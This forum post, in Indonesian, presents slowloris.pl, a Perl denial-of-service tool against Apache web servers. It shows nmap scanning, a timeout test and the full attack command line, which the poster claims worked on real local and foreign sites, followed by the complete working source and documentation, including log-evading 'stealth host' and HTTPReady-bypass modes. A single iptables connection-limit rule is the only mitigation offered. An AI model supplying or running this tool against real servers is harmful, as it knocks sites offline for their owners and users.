slowloris.pl

slowloris.pl , sebenarnya adalah tools yang di buat dengan perl yang di pergunakan oleh lamer untuk melakukan serangan DOS ke HTTPD service ( apache ) pada port 80 secara random dan hebatnya lagi , tidak memerlukan bandwidth yang begitu besar.

kronologisnya kira-kira begini ..
ane test di localhost aja 

pertama-tama lamer akan melakukan port scanning

Code:

zee-laptop@IBTeam:~$ nmap -A 127.0.0.1 -PN

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-03-18 12:24 WIT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00053s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
[color=#FF0000]80/tcp   open [/color] http       Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-bt0 with Suhosin-Patch)
|_html-title: Site doesn't have a title (text/html).
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
5432/tcp open  postgresql PostgreSQL DB 8.3.9

perhatikan hasil nmap yang saya beri warna merah ...ya anda benar dia mencari open port 80 yang tampaknya sudah pasti kebuka di setiap web server manapun.

kemudian si lamer akan menjalankan aksinya dengan menggunakan slowloris.pl.
awalnya dia bakalan ngetes terlebih dahulu, kira-kira server ini vurln atau tidak ..

Code:

perl slowloris.pl -dns [ web domain/ip target ] -port 80 -test

Code:

sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -test

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
This test could take up to 14.3666666666667 minutes.
Connection successful, now comes the waiting game...
Trying a 2 second delay:
        Worked.
Trying a 30 second delay:
        Worked.
Trying a 90 second delay:
        Worked.
Trying a 240 second delay:
        Worked.
Trying a 500 second delay:
        Worked.
Remote server closed socket.
Use 500 seconds for -timeout.

setelah mereka mengetahui limi timeout yg sesuai dengan situs target , si lamer akan langsung melakukan kegiatan inti , yaitu mengirimkan paket flood secara random

format yang sudah ane tes di beberapa situs lokal maupun luar dan 100 persen :

Code:

perl slowloris.pl -dns [target] -port 80 -timeout 500 -num 500 -tcpto 5 -httpready

keterangan :

* -dns : the target ( dapat berupa IP atau domain )

* -port : port yg di gunakan oleh webserver ( 80 )

* -timeout: nilai waktu delay timeout untuk setiap paket thread, penantian reacquiring ruang tcp di server. pada langkah pengetesan, Nilai ini diisi dengan flag -test

* -num : jumlah soket yang digunakan untuk mendapatkan koneksi.Biasanya server apache akan membutuhkan nilai antara 400-600 atau tergantung pada konfigurasi

* -tcpto : TCP Timeout.

* -httpready: HTTPReady di gunakan apache untuk buffer connections. attacker dapat melewati perlindungan ini dengan mengirimkan permintaan POST bukan GET atau HEAD.

Code:

zee-laptop@IBTeam:~$ sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -timeout 500 -num 500 -tcpto 5 -httpready
[sudo] password for zee-laptop:

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Multithreading enabled.
Connecting to 127.0.0.1:80 every 500 seconds with 500 sockets:
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 99 packets successfully.
This thread now sleeping for 500 seconds...

Hasil yang ane dapet ketika membuka localhost di modzilla ...

PHP Code:

Network Timeout
The server at 127.0.0.1 is taking too long to respond.The requested site did not respond to a connection request and the browser has stopped waiting for a reply
    * Could the server be experiencing high demand or a temporary outage?  Try again later.
    * Are you unable to browse other sites? Check the computer's network connection.
    * Is your computer or network protected by a firewall or proxy?  Incorrect settings can interfere with Web browsing.
    * Still having trouble? Consult your network administrator or Internet provider for assistance. 

si lamer berhasil... nah untuk menanganinya ane cuma setting iptables dikit ..

Code:

zee-laptop@IBTeam:~$ sudo iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 32 -j DROP

dengan arti kata ane membatasi koneksi limit pada per host pada port 80 menjadi 20 ... nah mari kita diskusikan siapa tau teman-teman memiliki cara yang lain nya 

Untuk slowloris.pl ini source nya

Code:

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

print <<EOTEXT;

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

__END__

=head1 TITLE

Slowloris

=head1 VERSION

Version 0.7 Beta

=head1 DATE

06/17/2009

=head1 AUTHOR

RSnake <h@ckers.org> with threading from John Kinsella

=head1 ABSTRACT

Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.

=head1 AFFECTS

Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?

=head1 NOT AFFECTED

IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?

=head1 DESCRIPTION

Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.

As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.

=head2 Testing

If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

=head3 Testing Example:

./slowloris.pl -dns www.example.com -port 80 -test

This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).

=head2 HTTP DoS

Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.

=head3 HTTP DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

=head2 HTTPReady Bypass

HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.

=head3 HTTPReady Bypass Example

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

=head2 Stealth Host DoS

If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.

=head3 Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

=head2 HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.

=head3 HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

=head2 HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.

=head3 HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache

=head1 Issues

Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.

For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD. 

Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.

=head1 What is a slow loris?

What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

http://www.youtube.com/watch?v=rLdQ3UhLoD4